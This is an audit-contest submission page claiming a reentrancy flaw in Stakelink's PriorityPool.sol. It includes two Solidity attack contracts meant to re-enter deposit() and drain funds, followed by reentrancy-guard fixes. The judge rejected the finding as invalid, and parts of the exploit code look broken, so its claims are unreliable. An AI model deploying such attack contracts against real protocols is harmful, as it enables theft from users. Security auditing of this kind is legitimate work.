Liquid Staking
Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Reentrancy Attack in `PriorityPool.sol

chainsentryaudits

Summary

A critical reentrancy vulnerability has been identified in the PriorityPool.sol contract of the stake.link platform. This vulnerability arises due to the absence of reentrancy guards in key functions that perform state updates followed by external calls. An attacker can exploit this flaw to manipulate the contract's state and potentially drain funds, leading to significant financial losses and compromising the platform's integrity.

Vulnerability Details

Reentrancy in PriorityPool.sol

The PriorityPool.sol contract lacks proper reentrancy protection in its deposit(), _deposit(), withdraw(), and _withdraw() functions. These functions update state variables and subsequently perform external calls without any safeguards against reentrant calls.

Malicious Contract Exploitation

A malicious contract can exploit this vulnerability by re-entering the deposit() function during an external token transfer. Here's how the exploit unfolds:

// contracts/test/ReentrantToken.sol
pragma solidity 0.8.15;
​
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
​
interface IPriorityPool {
function deposit(uint256 _amount, bool _shouldQueue, bytes[] calldata _data) external;
}
​
contract ReentrantToken is ERC20Upgradeable {
IPriorityPool public priorityPool;
bool public attackInitiated;
​
function initialize(string memory name_, string memory symbol_) public initializer {
__ERC20_init(name_, symbol_);
}
​
function setPriorityPool(address _priorityPool) external {
priorityPool = IPriorityPool(_priorityPool);
}
​
// Override the transfer function to include reentrancy
function transfer(address recipient, uint256 amount) public override returns (bool) {
bool success = super.transfer(recipient, amount);
if (!attackInitiated && recipient == address(priorityPool)) {
attackInitiated = true;
// Re-enter the deposit function
bytes[] memory data = new bytes[]();
priorityPool.deposit(amount, false, data);
}
return success;
}
}

Explanation:

  • The ReentrantToken contract overrides the transfer function.

  • When transferring tokens to the PriorityPool, it sets attackInitiated to true and calls back into the deposit() function.

  • This reentrant call occurs before the initial deposit() execution completes, allowing the attacker to manipulate state variables multiple times within a single transaction.

Manipulation of State Variables

By re-entering the deposit() function during the token transfer, the attacker can repeatedly adjust critical state variables such as totalQueued and accountQueuedTokens.

// contracts/test/ReentrantAttack.sol
pragma solidity 0.8.15;
​
import "./ReentrantToken.sol";
import "../core/priorityPool/PriorityPool.sol";
​
contract ReentrantAttack {
ReentrantToken public token;
PriorityPool public priorityPool;
address public owner;
uint256 public attackCount;
​
constructor(address _token, address _priorityPool) {
token = ReentrantToken(_token);
priorityPool = PriorityPool(_priorityPool);
owner = msg.sender;
}
​
// Initiate the attack by depositing tokens
function attack(uint256 _amount) external {
require(msg.sender == owner, "Not owner");
token.approve(address(priorityPool), _amount);
bytes[] memory data = new bytes[]();
priorityPool.deposit(_amount, false, data);
}
​
// Callback function called during token transfer
function onTokenTransfer(address, uint256, bytes calldata) external {
if (attackCount < 1) { // Limit the reentrancy depth
attackCount += 1;
bytes[] memory data = new bytes[]();
priorityPool.deposit(1 ether, false, data); // Re-enter deposit with 1 ether
}
}
​
// Helper function to withdraw stolen funds
function withdraw() external {
require(msg.sender == owner, "Not owner");
token.transfer(owner, token.balanceOf(address(this)));
}
}

Explanation:

  • The ReentrantAttack contract initiates the attack by calling the vulnerable deposit() function.

  • During the safeTransfer in the PriorityPool, the overridden transfer function in ReentrantToken is invoked.

  • This triggers the onTokenTransfer callback, which re-enters the deposit() function, allowing the attacker to manipulate the contract's state repeatedly within the same transaction.

Expected Outcome

Through this exploit, the attacker can:

  • Increase totalQueued: Manipulate the total queued tokens, allowing for unauthorized withdrawals.

  • Alter accountQueuedTokens: Adjust individual account queues to withdraw more tokens than legitimately entitled.

  • Drain Funds: Extract more tokens than deposited, leading to significant financial losses for the platform and its users.

Impact

  • Financial Loss: Unauthorized withdrawal of tokens can lead to substantial financial damage, eroding user trust and platform credibility.

  • State Corruption: Inconsistent state variables disrupt the contract's functionality, potentially causing denial of service or other unintended behaviors.

  • Reputation Damage: Successful exploitation can tarnish the platform's reputation, making it a target for further attacks and reducing user participation.

Tools Used

  • Manual Review

Recommendations

To mitigate the identified reentrancy vulnerability in PriorityPool.sol, implement the following measures:

1. Implement Reentrancy Guards

Utilize OpenZeppelin's ReentrancyGuard to prevent reentrant calls in vulnerable functions.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
​
contract PriorityPool is ReentrancyGuardUpgradeable, ... {
// ...
​
function deposit(uint256 _amount, bool _shouldQueue, bytes[] calldata _data)
external
nonReentrant
{
// Function body
}
​
function withdraw(
uint256 _amountToWithdraw,
uint256 _amount,
uint256 _sharesAmount,
bytes32[] calldata _merkleProof,
bool _shouldUnqueue,
bool _shouldQueueWithdrawal
) external
nonReentrant
{
// Function body
}
​
// Apply `nonReentrant` to other vulnerable functions as needed
}

Explanation:

  • The nonReentrant modifier ensures that a function cannot be called while it is still executing, effectively preventing reentrant calls.

2. Adhere to the Checks-Effects-Interactions Pattern

Ensure that all state changes occur before making any external calls to minimize the risk of reentrancy.

function withdraw(uint256 _amountToWithdraw, ...) external nonReentrant {
// Checks
require(_amountToWithdraw > 0, "Invalid amount");
​
// Effects
totalQueued -= _amountToWithdraw;
accountQueuedTokens[msg.sender] -= _amountToWithdraw;
​
// Interactions
token.safeTransfer(msg.sender, _amountToWithdraw);
}

Explanation:

  • Checks: Validate inputs and conditions.

  • Effects: Update state variables.

  • Interactions: Perform external calls, such as token transfers, after state updates.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Lack of quality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.